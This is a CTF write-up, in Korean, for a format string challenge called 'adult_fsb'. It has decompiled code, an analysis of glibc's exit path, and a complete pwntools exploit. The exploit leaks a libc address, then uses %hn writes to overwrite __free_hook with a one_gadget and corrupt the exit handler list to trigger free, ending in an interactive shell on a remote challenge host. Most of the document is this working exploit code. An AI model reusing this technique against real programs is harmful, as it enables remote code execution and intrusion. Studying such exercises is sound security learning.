int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-144h]
char buf[312]; // [rsp+10h] [rbp-140h] BYREF
unsigned __int64 v5; // [rsp+148h] [rbp-8h]
v5 = __readfsqword(0x28u);
Init();
for ( i = 0; i <= 1; ++i )
{
read(0, buf, 0x12CuLL);
printf(buf);
}
exit(0);
}
입력사이즈도 넉넉하고, 두 번이나 호출할 수 있다.
하지만 full RELRO 이기 때문에, __malloc_hook 이나 __free_hook 을 덮는 방향으로 생각해야한다.
릭은 49번째에 있는 libc_start_main_ret 으로 하면 되고,
문제는 어떻게 malloc 이나 free 를 trigger 하냐이다.
전에 printf 에서 malloc trigger 해서 푸는 문제대로 %65537c
를 입력해봤지만 되지 않았고,
exit 할 때 free 를 사용한다고 했던 것 같은데 free hook
을 덮어도 trigger 되지 않아서
libc 를 좀 분석해봤다.
simple exit analysis
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
~~~
struct exit_function_list *cur;
__libc_lock_lock (__exit_funcs_lock);
restart:
cur = *listp;
~~~
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
~~~
대충 *listp→next 가 null 이 아니면, free 가 호출된다.
__run_exit_handlers (status=0x0, listp=0x7fc049188718 <__exit_funcs>, run_list_atexit=run_list_atexit@entry=0x1, run_dtors=run_dtors@entry=0x1) at exit.c:40
40 in exit.c
gef➤ p __exit_funcs
$1 = (struct exit_function_list *) 0x7fc049189d80 <initial>
gef➤ p initial
$2 = {
next = 0x0,
idx = 0x1,
fns = {{
인자로 들어가는 변수는 전역변수 initial 이고,
next 는 바로 첫번째 멤버여서 initial 을 null 이 아닌 아무값으로 덮으면 되겠다.
initial 은 심볼정보가 업어서 옆에있는 __abort_msg 를 이용해야한다.
from pwn import *
import sys
import subprocess
context.binary = binary = "./adult_fsb"
# context.log_level='debug'
context.arch="amd64"
b=ELF(binary,checksec=False)
if '1' in sys.argv:
r = remote("ctf.j0n9hyun.xyz", 3040)
lib = ELF("./libc.so.6", checksec=False)
oneshot=list(map(int,subprocess.check_output(["one_gadget","--raw","libc.so.6"]).split()))
else:
r = b.process()
lib = b.libc
oneshot=list(map(int,subprocess.check_output(["one_gadget","--raw",b.libc.path]).split()))
#index 8
pay=f"%49$p"
r.send(pay)
libc_base=int(r.recvn(14),16)-lib.sym['__libc_start_main']
libc_base&=~0xfff
log.info(hex(libc_base))
system=libc_base+oneshot[1]
system_low = system & 0xffff
system_middle = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff
low = system_low
if system_middle > system_low:
middle = system_middle - system_low
else:
middle = 0x10000 + system_middle - system_low
if system_high > system_middle:
high = system_high - system_middle
else:
high = 0x10000 + system_high - system_middle
free_hook=libc_base+lib.sym['__free_hook']
# offset 8
payload = b'%1c%15$hn'
payload += '%{}c'.format(low-1).encode()
payload += '%16$hn'.encode()
payload += '%{}c'.format(middle).encode()
payload += '%17$hn'.encode()
payload += '%{}c'.format(high).encode()
payload += '%18$hn'.encode()
payload += b'A' * (8 - len(payload) % 8)
payload += p64(libc_base+lib.sym['__abort_msg']+0x60)
payload += p64(free_hook)
payload += p64(free_hook + 2)
payload += p64(free_hook + 4)
pause()
r.send(payload)
log.info(hex(system))
r.interactive()
# %11$p %12$p %13$p %14$p